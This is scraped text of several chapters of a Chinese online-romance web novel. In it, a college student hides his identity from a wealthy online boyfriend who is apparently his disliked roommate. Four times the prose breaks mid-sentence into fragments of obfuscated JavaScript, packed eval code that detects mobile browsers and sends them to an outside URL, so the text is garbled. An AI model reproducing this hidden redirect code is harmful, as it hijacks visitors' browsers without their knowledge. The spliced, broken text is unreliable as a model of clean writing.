l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255722|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是珍惜这段时间的相处吧,大家有缘才能聚一起不是?” 舒星巴不得赶紧换寝室,把习阳这个装货宿友换掉,他轻轻“哼”一声,小脸一别,嘀咕道:“谁跟他有缘!” 在程新宇那没得到吐槽习阳的爽感,舒星空下来的时间又去找了他的网恋男友,在余晖那猛一顿装可怜,顺便还夸大了一下事实显得自己更弱小无助。 结果舒星刚把室友说他矫情的事发过去,余晖好像抓到了什么关键点似的,突然回了句“宝宝,你还有室友?” 舒星看到信息顿时警铃大作,他在余晖那儿的人设是打工人而不是学生,他刚才光顾着抱怨了,都忘记要隐藏自己这个马甲了。 舒星赶紧编了个谎:【对呀宝宝,宠物医院有包宿舍哒,我和那个讨人厌的同事分到一起了!TVT】 为了显示谎言的真实性,舒星还补了句:【之前给你发的照片就是在宿舍里拍的!】 余晖:【原来是这样。】 舒星:【嗯呐。】 舒星又言归正传:【宝宝,我只是睡不惯那么硬的床而已,这样也算矫情吗?】 舒星:【宝宝,他怎么这么说我啊?】 看余晖一直不回信息,舒星有些娇蛮地发:【余晖,你评评理嘛!!】 隔了几分钟,余晖才回信息来。 余晖:【我刚才在找中介。】 余晖:【这人他懂什么叫身娇体贵吗?宝宝,你搬出去住吧,别跟这样的人住一起了。】 余晖:【我今天约了人看房,租好了跟你说哦!辛苦宝宝在寝室里再委屈几天呢!】 看到余晖发来的信息,舒星感觉自己又被网恋对象无条件宠溺到了。 他果然还是很适合在余晖这儿寻求情绪价值。 要是余晖真给自己租了房,舒星暑假都可以不用回家了,他家现在搬在郊区,坐地铁都要两小时才能到,暑假期间舒星又答应了裴淳要去宠物医院做兼职,来回可麻烦了。 这么一想,舒星心里美滋滋的,就连习阳说自己是“豌豆公主”的事也被他抛在了脑后。 下了课,何文楠在问大家要不要一起去吃午饭,习阳却说自己有事要出校一趟。 舒星自然是不会在意习阳要干嘛去,不过程新宇和何文楠却对此非常好奇,他俩都怕习阳会背着寝室三人出去偷偷约会。 何文楠目光炯炯地问:“习哥,你要出去干啥?” 程新宇也八卦地凑上来:“有什么事?能带上哥几个一起吗?” 何文楠又问:“不会是要去约会吧?” 程幸宇附和:“啊,真的假的,你约女孩子吃饭了?” 他俩探究的目光盯着习阳,那热情灼灼的眼眸近乎要把习阳烧出个洞来。 习阳扫他们一眼,语气慵懒无奈地透露:“我约了人看房,你们要一起?” 何文楠:…… 程新宇:…… 两个人没吃到八卦的人异口同声:“算了,不用了。” 这两人旁边,还沉浸在余晖要给自己租房喜悦中的舒星听到习阳突然说要出去看房,他灵敏的耳尖动了动,诧异抬眸:“???” 8. 第 8 章 第8章 舒星愣愣地看着习阳离开的背影,恍惚间感觉习阳这人的身形和余晖的好像。 舒星刚加上余晖好友的时候见过对方朋友圈里的照片,那是一张骑在马背上逆着夕阳的背影照,照片上的余晖身材高挑,踩着马鞍的大长腿劲瘦有力,修身的衣服能明显看出他手臂厚实的肌肉线条。 余晖不是那种网上传闻的肥宅二次元,照片一看就是个经常锻炼的酷帅大男孩。 虽然没有见过余晖的正脸照,但朋友圈的这张照片给足了舒星对他的很多幻想,加上余晖有富二代的身份加持,舒星一直觉得自己这是钓到极品高富帅了。 不过这仅限于舒星的假想,他从不敢找对方要什么正脸照,就怕自己要完之后余晖会要求他回发一张正脸照过去。 有些荒谬的想法一旦产生,就会像滚雪球般越来越大,舒星满怀疑惑地点开余晖的朋友圈,对方已经很久没有发过照片了,朋友圈的动态三天可见,没记错的话舒星自从上大学后就没见余晖发过动态了。 是自己想多了吧?余晖和习阳是两个八竿子打不着边的人,性格态度说话语气都大相径庭。 世界上身形像的人多了去了,也不能是个高富帅就代入习阳这张脸和身材。 只是为什么……余晖说约了人看房,习阳这么巧也要去看房?今天是什么看房吉日吗? 而且之前他发信息给余晖的时候,习阳的手机提示音正好响了。 真的会有这么巧合的事情发生吗? 身侧的程新宇察觉到舒星的走神,他胳膊戳了戳舒星的腰,问道:“星妹,想什么呢?” 舒星回过神,喃喃道:“新宇,习阳为什么要去看房?” 程新宇见怪不怪了:“习哥应该是今年暑假又不回自己家吧,这不是要期末了,提前租好房子等放假了就能直接搬进去了!” 习阳是本地人,没有放假不回家的道理,舒星皱起眉难得探究起习阳的事:“他为什么不回家住?” 程新宇忽然凑近了小声解释道:“你没发现他平时周末放假都不回家嘛!习哥跟家里人有矛盾,去年也是这样,寒暑假一直住在外面,好像过年都没怎么回家呢!” 程新宇好似怕舒星知道后会刻意触习阳逆鳞,他还特意嘱咐:“哎,你就当不知道啊!别去人家面前戳痛处!” 舒星点点头:“我哪有那么无聊。” 原来只是为了暑假租房啊,吓死了,舒星差点就要以为余晖和习阳是同个人了,这不是赶巧了,他俩都约了看房,今天看来真是个吉日。 不过说起来,习阳怎么可能会是余晖嘛! 余晖总会甜甜地叫他宝宝,还那么贴心,而且他俩以前连过麦呢,余晖温柔低沉的声音跟习阳那个冷冰冰的语调一点儿也不像! 果然还是自己想太多,撒癔症了。 - 余晖的效率很高,没过两天就给舒星发信息来说已经帮他租好了房子,还附带给舒星转了个5200,说是叫他买点生活用品。 舒星看着又一笔转账资金,脸上的笑容都快挂不住了,脸颊处的酒窝浅浅,嘴边露出了半颗小虎牙。 他收完款发了句“谢谢宝宝”过去,余晖很快就秒回他。 余晖:【宝宝,新家的床垫给你选得最好的那款,睡着软软的,里面的设施都很齐全,今天就可以搬进去住了!】 临近期末,舒星忙着复习,哪有空搬家,他只能用最近工作比较忙为由拖延了入住的时间。 想到马上要入住新公寓,舒星这几天的心情都特别好,然而等期末考试完了之后,学校又出新公告,临时通知大家下学期不换寝室了,室友配置照旧。 舒星看到这条公告的时候脸都垮了,再好的心情也随之荡平,班上很多活动都会以寝室为单位开展,他一想到要继续和习阳做室友就浑身难受。 好在余晖给舒星租的房子付了一整年的租金,他下学期开始就不用住在寝室里了,至少不用天天看到习阳那张脸了。 不过何文楠和程新宇看到这条公告乐得不行,一直嚷着说这就是天定的缘分。 舒星看着学校微信群里的公告,手机里微信大号和小号来回切换,不知道能跟谁吐槽这郁闷的情绪。 舒星一向把网络和现实严格区分开,所以专门搞了两个微信号,大号是用来添加现实生活中的好友,平常和身边的人聊天也是通过这个。不过小号就不一样了,小号里加的人不光有游戏好友,还有社交平台的一些粉丝,朋友圈自然也发了不少没露脸的精致poss图。 然而两个号的好友数量加起来快两千人,硬是找不到个可以吐槽学校不换寝室这事儿的。 不过换寝室就意味着舒星不必大费周章地搬行李了,他要带回去的东西不多,随便整理一下就全塞进了行李箱里。 整理完了之后舒星还是惦念着自己那张床垫,他想过万一以后要留校住的话可能还要睡在寝室里,最后只好花钱请了假期在学校里值班的宿管阿姨帮忙空了晒晒他的宝贝床垫。 何文楠和程新宇是隔壁市的,两个人要带回去不少东西,不知道他俩是谁找来了几个纸板箱堆在寝室中央的过道上,堵得路都不好走了。 还好舒星的行李靠门,倒是比较方便拿取,他临走前望见习阳正站在阳台口看着自己,一副有话要说的样子。 舒星想不到习阳那张毒嘴能说出什么好话,他也不期待习阳会跟自己说什么“下学期再见”的离别词,提了行李就迫不及待地打车前往余晖给他租好的公寓。 余晖给舒星租的公寓在市中心,离学校挺远的,距离宠物医院倒是很近,只隔了三个街区,这样一来他暑假兼职期间就不用紧赶慢赶去上班了。 公寓在二十三楼,一梯一户的设计非常安全方便,不过舒星在电梯门开之前还是有点心慌,他好怕余晖为了见他而在公寓门口蹲点守着。 在看到电梯门开后是干净无人的入户厅时舒星才松了口气,公寓门用的是密码解锁,余晖很贴心地把密码设置成了舒星的生日,以防舒星会忘记。 舒星刚一进门,屋内的智能家电感受到有人回来,自动开启了空调制冷。 放下行李箱,舒星好奇地参观起整个公寓。 这是个两室一厅的小平层,估摸着一百平左右。 客厅和阳台打通后视觉上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255723|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得整个空间更宽敞了,室内的采光非常好,阳台通铺大片落地窗,太阳的光芒透过月影纱落在地上形成了片片落叶光影。 所有的家具都像是在不久前刚被打扫过,样样物品摆放整齐没有落灰。 里侧的两个房间一个是供舒星睡觉的主卧,一个则被设计成了电竞房。 大概是余晖清楚舒星在空余时间会玩游戏,所以他还给舒星配备了全套的电脑设备。 不得不说,余晖真的是个非常完美的恋人,不光对感情专一、出手大方,就连办事也是面面俱到。 整个公寓的布局都是暖色调的,身处在这样的环境中,温馨幸福的感觉油然而生。 舒星摸了摸沙发上的真皮手感,嘴角忍不住微微上扬,他目光投向月影纱落下的暖光,举起手机随手拍了张光影照发给余晖。 舒星:【宝宝,你租的房子很漂亮,谢谢你。】 这句话是发自内心的感谢,除了余晖外,很久没有人对自己这么上心了。 余晖应该是在忙,并没有很快回复舒星的信息。 舒星又发了几张设计独特的家具照过去,虽然余晖早就来看过房,但舒星还是忍不住想把这些新奇的东西分享给对方。 舒星:【宝宝,这个展示架的造型真有意思。】 舒星:【这个沙发好软哦,感觉都能在这里睡觉了!】 舒星:【阳台上的落地窗好大一片呀,站在这里看夜景一定很不错!】 余晖没有回信息,舒星就一直自顾自碎碎念,照片和文字发了一条又一条,热烈的分享欲近乎刷屏。 直至晚上,舒星洗漱完才等到余晖发来的信息。 余晖:【今天有点忙,才空下来。】 余晖:【宝宝,房子你喜欢就好。】 舒星:【你今天在忙什么呀?】 余晖:【在搬家呢。】 短短四个字的回复,没有配上热情可爱的表情包,舒星隐约察觉出余晖此刻的心情不是很好。 是现实生活中发生了什么让他不开心的事了吗? 虽然他们只是网恋关系,但这并不代表舒星会不在意余晖的现实状态,余晖会给舒星提供情绪价值,相应的,舒星也会让自己网恋男友的身份显得不那么像摆设。 舒星在这方面总会直白地指出余晖的情绪。 舒星:【宝宝,你心情不好?】 余晖过了几分钟才回:【嗯。】 余晖:【抱歉,宝宝,我影响到你了吗?】 舒星已经躺在床上了,床头灯的暖光照在他的侧脸,微长的睫毛动了动,指腹轻轻地按下几个字。 舒星:【没有哦。】 舒星:【宝宝,如果你遇到什么不开心的事,可以跟我说。】 屏幕另一头,刚从自己家里出来的习阳靠在车门边,嘴里吞吐着白色的浓烟。 习阳很少会抽烟,只有压抑不住情绪的时候才会忍不住点上一根。 手里紧握的手机震动了两下,习阳垂下眸看着网恋对象发来的体贴信息,他抬起手重重地吸进最后一口烟后弹掉了手里的烟头。 随后拨通了对方的语音电话。 9. 第 9 章 第9章 习阳本来是不想把自己的个人情绪影响到网恋对象的,以往遇到心情不好的时候他都会慢慢自我消化,但是今天不行,今天他做不到豁达乐观。 下午刚放假习阳就接到了他父亲打来的电话,电话里父亲满怀期待地要他回家吃庆贺饭。 习阳原本以为父亲这是在庆祝自己终于放假获得自由,然而当他回家后看到继母已经明显显怀的孕肚和带有“恭喜准妈妈”字眼的蛋糕时,习阳往日平稳的心态彻底崩了。 习阳的父母在很早之前就离婚了,在离婚前他的母亲和父亲就是专注事业的工作狂,除了带给习□□质上的无限满足外没有任何额外的情感关怀。 父母离婚后,习阳的母亲没几年就再婚生子组建了新的家庭,他的父亲也在两年前另娶新人。 现在好了,亲妈有了新的儿子,亲爸也马上要迎来他的第二个孩子。 好像所有人都获得了完美无缺的圆满家庭,唯独把习阳排挤在外了。 语音电话打过去的时候没有人接,漫长的等待后被系统无情掐断,习阳无奈地笑了笑,他的网恋对象总是很忙没空和他语音,距离上次两人连麦已经是年初放寒假的事了。 习阳不会怪网恋对象不接电话,他很快又点了根烟,开门上了车。 - 舒星在接到余晖打来的电话时几乎是一瞬间从床上弹了起来。 他看着语音来电界面,赶紧下床跑到厨房去接了杯水,喝下润喉后还刻意地咳了两声清清嗓子。 可惜语音来电等不了他那么久的墨迹,舒星清完嗓子还没来得及接通,系统就自动挂断了电话。 他们已经很久没有语音过了,上次语音还是舒星放寒假回家那会儿了,平时在学校不方便,舒星总会用白天在上班不方便接语音为由拒绝余晖的连麦请求,不过好在晚上余晖也不会要求跟舒星连麦,不然“下班后”的舒星很难再找借口拒绝余晖的语音电话。 见余晖没有再打来,舒星长呼了口气,试着开口琢磨要用什么样的声线跟余晖聊天。 以往舒星为了展现自己小白花的柔弱人设,他和余晖连麦的时候总会刻意夹一下自己的声音,舒星说不出那是一种什么样的声线,总之,那是和他平时说话完全不同的两种声音。 这么久没有和余晖语音,舒星都怕自己一开口没夹住,崩了自己的人设。 在尝试用不同种声音“喂”了几声后,舒星终于找到一个合适的声音,他保持着这个声调,有些紧张地回拨了余晖的语音通话。 余晖的通话铃声是很好听的纯音乐,在优美琴音的安抚下,舒星的情绪舒缓了许多,以至于语音接通后他没有因为紧张而产生颤音,反倒是语气甜甜地“喂”了一声。 余晖似乎是在开车,因为舒星听到了发动机轰鸣的声音。 嗯?余晖也跟习阳一样,喜欢开炸街跑车吗? 这是富二代们的通病? 但好歹余晖不是个装货,舒星并没有因此产生反感。 余晖的声音很快传来,比轰鸣声更清晰。 “宝宝。”余晖的声音一如既往的低沉温柔,只是今天似乎夹杂了一丝疲惫。 在语音接通前,舒星找了好久没用的耳机戴上,此刻余晖那声“宝宝”透过耳机传出,仿佛就像余晖本人的唇靠在舒星耳边说得一般,温柔的声音瞬间激起舒星心里一阵涟漪。 他柔柔地“嗯”了声,回应道:“我在。” 余晖没有继续接话,声音那头只有跑车的轰鸣不断传出。 通话界面的时间一分一秒过去,舒星知道余晖今天心情不好,所以他很有耐心地等着余晖再次开口。 余晖大概会跟他聊为什么今天心情不好,也可能会把这件事一笔带过后和他聊些天南地北的趣事,但在对方没开口之前,舒星能猜到余晖是在调整自己的情绪。 许久之后,余晖那头大概是到达目的地了,舒星听到了他关车门的声音、门禁密码解锁的声音以及轻轻的关门声。 似乎还有一个年长的女声在关门声响起后说了什么,不过那声音很快戛然而止,舒星并没有听清。 余晖依旧没说话,舒星在此刻适时开口:“你刚回家吗?” 余晖很快“嗯”了一声,“刚回。” “刚从我爸爸那回来。” “嗯?”这还是余晖第一次跟舒星聊起他的家人,“你们不住在一起?” “嗯,不住在一起。”余晖似乎笑了一下,“他有自己的家庭。” 舒星愣了一下。 余晖的父亲有自己的家庭? 舒星很快意识到余晖生活在一个重组家庭。 既然余晖说刚从他爸爸那回来,又透露了自己今天心情不好,舒星猜到这两者间应该有关联。 他轻声询问:“心情不好也是因为去了你爸爸家吗?” 舒星并不是有意打探余晖的私事,他想着余晖要是不愿意多说,他也就不多过问了。 但余晖沉默了会儿,沉沉地叹了口气,说:“我的继母有孩子了,大概就这几个月会生产。听他们的意思,我应该……”余晖说到这顿了下,又笑笑说:“我应该是要多一个妹妹了。” 舒星下意识想说的那句“恭喜”硬生生刹在了嗓子眼。 舒星能理解了余晖为什么心情不好,他的父亲再婚另娶,即将要和其他女人有个属于他们自己的孩子,余晖应该是觉得自己被排挤在外了。 可这是余晖的家事,要有新妹妹也是既定的事实,舒星很难找到什么宽慰余晖的理由。 舒星实在不知道该说什么,他斟酌了会儿,柔声道:“宝宝,你还有我。” 余晖听到这句话沉默了一下,倏地笑了声,这笑声听上去余晖的心情大有好转了。 他的笑很轻,透过耳机有点魅惑地传入耳中,像有什么东西在挠着舒星的耳道,痒痒的,迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255724|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使他也忍不住笑了一下。 余晖温柔的声音又传来:“谢谢你宝宝,爱你。” 语音凝重的氛围瞬间变得活跃起来。 舒星躺在床上翻了身,笑吟吟地回应着余晖的话:“我也爱你。” 舒星听到余晖那有水流声,便问:“你在洗澡了?” “在。”余晖原本有些远的声音忽然离近,“怎么了?要看你老公洗澡吗?” “啊……”舒星被余晖突然那声“老公”震得瞬间说不出话来了,余晖这人偶尔也挺骚的,喜欢说骚话撩拨舒星。 以往遇到这种情况舒星都会顺着余晖的骚话随便接两句,不过这会儿他怕余晖心情刚刚转好,万一上头了真给舒星弹个视频通话来,他可招架不住。 为了避免这种情况发生,舒星维持着小白花人设,故作为难地说:“网上视频不太合适吧……” 余晖又把手机放回了远端,声音混着水流声朦朦胧胧地传来:“确实,这样显得有点像裸.聊了……那下次当面看?” 余晖三言两语把舒星吓死,现在舒星住的地方余晖是知道地址的,他好怕哪天余晖一高兴,直接跑这儿来洗澡给舒星看了。 那多没边界感啊,大家都是网友…… 舒星用沉默略过了这个话题,好在余晖的骚只是暂时的,两个人很快转移了话题。 舒星和余晖只要一连麦,通常都是会连一整夜的。 因为以前余晖说想听着舒星的呼吸声入睡,所以他俩就连睡觉也不会挂断语音。 网恋嘛,是这样的,两个不能见面的人只能以连麦睡觉的方式来假装对方正躺在自己身边陪自己入睡。 所以这次也不例外地没有人提前挂断电话,直至半夜舒星从梦里醒来,隐约听到了余晖那头窸窸窣窣的声音。 意识到余晖还没睡,舒星朦朦胧胧地哼唧着,嗓音黏黏地问:“你怎么还不睡呀?” 余晖温柔的声音靠近收音处,说:“睡不着。” 他大概猜测到余晖睡不着可能还是因为想到了他爸爸和继母要有孩子的事,舒星摩挲到枕边的手机,揉揉眼清醒后说:“那要不要我给你讲睡前故事?” 以前余晖睡不着的时候,舒星就会给余晖讲故事,哄他睡觉。 手机那头的余晖轻轻动了动,用嗓子发了个单音“嗯”,语气柔和地说:“好。” 舒星翻了个身,双手因为有些热而探出了薄绒被。 他拿着手机翻找起睡前故事,无意中翻到了之前习阳说过的《豌豆公主》。 舒星当时吐槽的时候没和余晖提过习阳说自己是“豌豆公主”的事,这下看到网页上跳转的相关故事,心里莫名有些郁闷生气。 耳畔边,余晖在等着舒星给自己找睡前故事,他语气有些期待地问:“宝宝,今天要讲什么故事?” 舒星撇撇嘴,把习阳这人的毒嘴毒语抛之脑后,随即说:“今天讲《豌豆公主》。” 10. 第 10 章 第10章 舒星答应了裴淳说一放假就会去宠物医院上班,裴淳人挺好的,说暑假的两个月给他算全职薪资,就是每个月休息少一点,只有四天的调休。 算不算全职薪资其实对舒星来说并没有那么重要,有余晖时不时的转账供养,舒星其实没那么缺钱。 不过他喜欢把钱存在余额宝里,看着每天十几块钱的利息就会有满满的幸福感。 今天上班空得很,前台的小姐姐有事请假了,舒星没什么事,裴淳就要他在前台帮忙负责接待。 前台接待的活比当医生助理要轻松很多,不光能无伤撸前来看病的猫猫狗狗外还能偶尔摸鱼和余晖甜甜蜜蜜地聊天。 这家宠物医院平时会有很多在网上看到推广而来的客人,他们来之前总会打电话来询问宠物看病打针是否有空,一上午的时间里舒星就接到过不少打电话来预约的客人。 前台不止舒星一个人,还有个裴淳刚招进来的暑假工,叫邢妮。 因为是刚来的缘故,这个女孩子对宠物医院的很多业务都不熟悉,接电话遇到难以回答的问题总会求助似的把目光投向舒星。 就比如现在,不知道电话里的客人又问了什么事,邢妮支支吾吾的,她扯了扯舒星的袖子,冲他挤眉弄眼寻求帮助。 舒星理解般顺手接过电话,对方在问宠物做检查的项目金额,估计是刚才经历了一番无效沟通,那人的语气不怎么好。 裴淳提醒过舒星,接电话的时候态度一定要好、语气要柔,这会儿舒星只好压着嗓子柔声安抚人家的情绪,很有耐心地报了遍医院的收费价格。 挂掉电话,舒星有些无奈地看了眼新来的女孩,想了个办法:“这样吧,你今天负责登记,我负责接电话,可以吗?” “这样行吗……”邢妮有些犹豫地瞅了眼楼上,大概是担心裴淳知道这件事后会觉得她工作能力不行。 舒星顺着她的视线往上看了眼,安慰道:“放心吧,我不会告诉裴哥,你这两天抓紧熟悉一下店里的价格表不就好了!” 邢妮感激地点点头:“行,都听你的,舒舒。” “……”舒星总感觉这个称呼怪怪的,他皱着眉想了会儿,还是说:“你要不还是叫我星哥吧,我应该比你大。” 邢妮头点得跟小鸟似的:“好啊,星哥!” - 大概是前阵子查询市区宠物医院的时候手机系统捕捉到了习阳的需求,这会儿无聊刷视频的时候突然弹出了附近宠物医院的广告推送,习阳看着广告信息愣了会儿,最终还是忍不住点了进去。 这两天和网恋对象语音的时候,对方强调过如果要见面,希望能有个正式一点的相见场合,他不希望习阳哪天突然出现在公寓里,那样会破坏了双方第一次奔现的感受。 习阳感觉对方这话说得挺对的,但是他又耐不住想见网恋对象的心,这下宠物医院的广告弹出来就像个推动器般引导着习阳去和对方见面。 可是他不确定人家到底在哪个宠物医院,而且,他并不知道网恋对象叫什么名字,他俩网恋期间都是以“宝宝”或者对方的游戏ID互相称呼。 习阳一直觉得网恋期间问人家名字挺没礼貌的,他尊重网恋对象的隐私,他希望等两个人在现实中见面后再进一步去了解、进入对方的现实生活。 正出神间,习阳不小心误触了广告上宠物医院的联系电话,还没等他反应过来,电话已经接通了。 “喂,您好。” 听筒里传来很轻柔的声音,像极了自己的网恋对象。 准确来说,不是像,应该就是! 习阳登时诧异地看着通话界面,眸子里的喜悦藏都藏不住。 可他又不敢问对方的游戏ID是不是叫行书,这跟自爆没什么区别,只会让网恋对象觉得自己在窥视打探对方的生活。 而且这种做法冒昧又没礼貌。 电话那头见习阳没有反应,又轻轻“喂”了几声,在对方疑惑地问了句“听得到吗”后,习阳终于回过神回答了对方。 “听得到,你好。” “先生你好,这里是安心宠物医院,有什么可以帮到您的吗?” “你好,我想问问……”习阳从没养过小动物,他不知道当下该找什么样的话题。 他火速扫视了圈别墅客厅,最终把目光停留在门口玄关处的那片鱼缸墙,喉结紧张地动了动,十分严谨小心地问:“请问金鱼翻着肚子游泳的话……是什么毛病?” - 舒星面无表情地挂掉电话后压着嘴角轻轻骂了声“神经”。 一旁登记完宠物信息的邢妮刚回来就听到舒星突然骂了句脏话,有些诧异地凑过来,“发生什么了星哥?” 舒星揉了揉眉心,只觉得刚才那通电话耗尽了他所有的好脾气。 “电话里有人问我……”舒星想起对方的问题,脸上的无语挂都挂不住,“他问我金鱼为什么翻着肚子游泳。” “噗……”邢妮忍不住大笑起来,“那你怎么回的啊?” “哈?怎么回?”舒星撇了撇嘴说:“当然是态度极好地告诉他‘先生,咱们的金鱼应该是死掉了呢。’” 舒星又看她一眼:“不然能回什么?带过来挂个号看看?” 舒星搞不懂怎么会有白痴电话打过来,他甚至都怀疑这是不是一场恶作剧。 幸好没过几天前台的小姐姐销假回岗了,舒星终于不用再夹着嗓子去接一些莫名其妙的电话。 不过可惜的是邢妮还是受不住要记太多东西的压力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255725|197994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在前台小姐姐回岗的那天就找裴淳提了离职申请。 这天舒星刚给住院室的猫猫狗狗换完点滴,一出工作间就看到了门口车位上停着的骚红色的跑车 看车牌号有点眼熟,舒星仔细想了想,这车好像习阳开到学校过。 跑车的驾驶位上没有人,舒星仔细望了望周围,果然在附近的灭烟处见到了正在抽烟的习阳。 这装货怎么突然来这儿了? 宠物医院位于商业街,附近很多街道都开了不少网红店,是很多女孩子聚会、情侣约会的好地方。 就是这附近的停车位不好找,舒星大概能理解习阳可能是正好看到这里有车位就停过来了。 不过也太巧了,停个车都能停到他工作的店门口,这算什么狗屎缘分吗? 舒星看着跑车艳丽的颜色,习阳这次开的又是另一个车品的限量款,鲜红色映入自己眼里,有点像羡慕嫉妒后产生的火苗。 再看下去,舒星感觉自己要有红眼病了。 正好有客人牵着自家爱犬进来要打疫苗,这才吸引走了舒星的注意力。 这次要打疫苗的狗还很小,奶奶的一只,又乖又不乱叫,打疫苗的时候还知道四肢趴在桌面上配合舒星进针。 舒星本来就喜欢小动物,对这种乖乖奶奶的更是喜欢得不行,打完疫苗后忍不住撸了好几下狗头才把狗狗抱出工作间。 小狗的主人是个很好说话的女孩子,她见舒星这么喜欢自己的狗,大方地示意舒星可以多抱一会儿。 奶奶的小狗被舒星抱在怀里,两个前肢搭在舒星的肩膀上,稍不注意,小狗的鼻子就蹭上了舒星的脸颊,软舌在他的脸蛋上讨好地舔了几口。 舒星被小狗舔得有些痒,歪头躲开小狗下一轮舔舐,他弯起眼时微长的睫毛跟着颤动,等再次睁开,明亮的茶眸中闪烁着点点光芒,脸颊两侧的酒窝微陷,清朗的笑声传遍整个大厅。 与此同时,习阳推开宠物医院的玻璃大门,在听到笑声的那刻瞬间被大厅一角的漂亮男生吸引了目光。 “好了,好了。你不要再舔我了!” 直至舒星开口说话,习阳才从愣神中清醒过来。 他一直知道舒星在做兼职,也在无意中听闻舒星跟程新宇说他暑假还要工作,只是习阳没想到,舒星居然也在宠物医院做兼职。 还是他网恋对象所在的宠物医院! 怀里的小狗奶奶地“汪”了一声,舒星把怀里的狗归还给它的主人,视线越过接过狗狗的女生,他很快注意到了玻璃大门前的高大身影。 “习阳?!”舒星眨眨眼,有些诧异地问:“你怎么在这?” 见人没说话,舒星想到什么,他微抬下巴,挑了挑眉,用恍然大悟的语气笑道:“来看病啊?” 11. 第 11 章 第11章 因为舒星长相是属于精致漂亮一类的,加上他说话时带着一副似笑非笑的样子,纵使说出口的话再怎么挑衅无礼都会被当作是在开玩笑。 抱着狗狗的女生听不出舒星在怼人,她笑了笑,只当是舒星的朋友来找他了,就说了句“你先忙”后就跑去前台付款了。 习阳倒是清楚舒星话里夹枪带棒的意思,他这会儿懒得搭理对方,这要是突然碰上网恋对象忙完看到自己在和舒星斗嘴,那多有失风度。 经过上次“豌豆公主”的事,舒星已经很久没有跟习阳说过话了,他倒也没想到就连过个暑假还能碰上这个人。 他踱着步走到习阳面前,明亮的茶眸上下打量了一番面前的人,语气略有不善地问:“来干嘛?” 习阳身边没有带什么宠物,舒星推测道:“找人?” 见习阳不搭理自己,舒星弯起唇角故意恶心他一把:“你该不会是来找我的吧?” 习阳:“……” 习阳的视线越过舒星的头顶看向宠物医院前台,那里只有一个女生在负责收银接待。 没有看到自己期待的人,习阳激动的心沉了点,语气微凉地说:“不是找你。” 随后他又把目光落回舒星身上,这人好像做兼职很久了,应该一直在这个医院里,那他是不是会认识自己的网恋对象? “舒星。”习阳又好脾气地叫了声舒星的名字。 舒星有点无语习阳这态度变化之快:“干嘛!” 习阳斟酌了下,委婉地打听道:“你这儿是不是有个叫行……” 舒星听到一个“邢”字就知道习阳在找谁了,他打断道:“你找小邢啊?” 习阳愣了愣,网恋对象现实中难道也叫“行书”? 既然如此,习阳这下看来是没找错店了。 他笃定地回答道:“对,我找小行。” 舒星像是察觉到一丝八卦的味道,邢妮那小姑娘长得挺好看的,性格也还不错,好像之前也确实听她说自己在网上找了个比自己大点的网恋男友。 他了然般点点头,视线望向前台,有些惋惜地透露:“那你来晚了,小邢已经离职了。” “离职了?”习阳眉毛飞快地蹙了下,这么重要的事,网恋对象怎么没跟自己说起过! 是在工作中遇到什么不开心的事了?还是说又被傻逼同事霸凌了? 习阳面色逐渐沉了下来,他的视线又扫了眼舒星,回忆着网恋对象提到过的同事会不会就是舒星。 但也不对,舒星没那么多钱炫富,网恋对象以前说过,那个傻逼同事是个富二代,平时最爱把一些新买的奢侈品摆在桌上“低调炫耀”。 “他为什么离职?是工作上遇到什么事了吗?” 舒星耸耸肩:“不清楚,应该是觉得工作压力太大了,吃不消吧。” 习阳疑惑:“你们平时工作压力很大吗?” “还行吧,忙的时候挺烦的。”舒星才不想跟习阳闲聊,他就想吃点八卦,看习阳这么关心邢妮的样子,他推测邢妮说的网恋对象应该就是习阳。 “哎,你和小邢什么关系?不会她说的那个网恋男友就是你吧?” 习阳眼眸惊得猛地震了一下:“他都跟你说了?你们关系这么好?” “是啊。” 舒星挺喜欢邢妮这个女孩子的,决定在习阳面前给邢妮说点好话:“小邢人挺好的,长相端正性格温顺,做事情也很认真努力。” 习阳很认同舒星的说法:“嗯,我也这么觉得。” 舒星又说:“是吧,你好好对人家小姑娘。” “嗯。”习阳以为自己幻听了:“嗯?你说什么?” 舒星只觉得习阳像个上了年纪的大爷,耳背。 他有点不耐烦地重复:“我说,叫你好好对人家小姑娘。” “小姑娘?”习阳有些不可置信地看着舒星,眼睛里的诧异惊讶都快溢出来了。 “我去……”舒星看习阳脸上的表情不对劲:“你不会以为邢妮是男生吧?你俩没连过麦听过声音啊?” 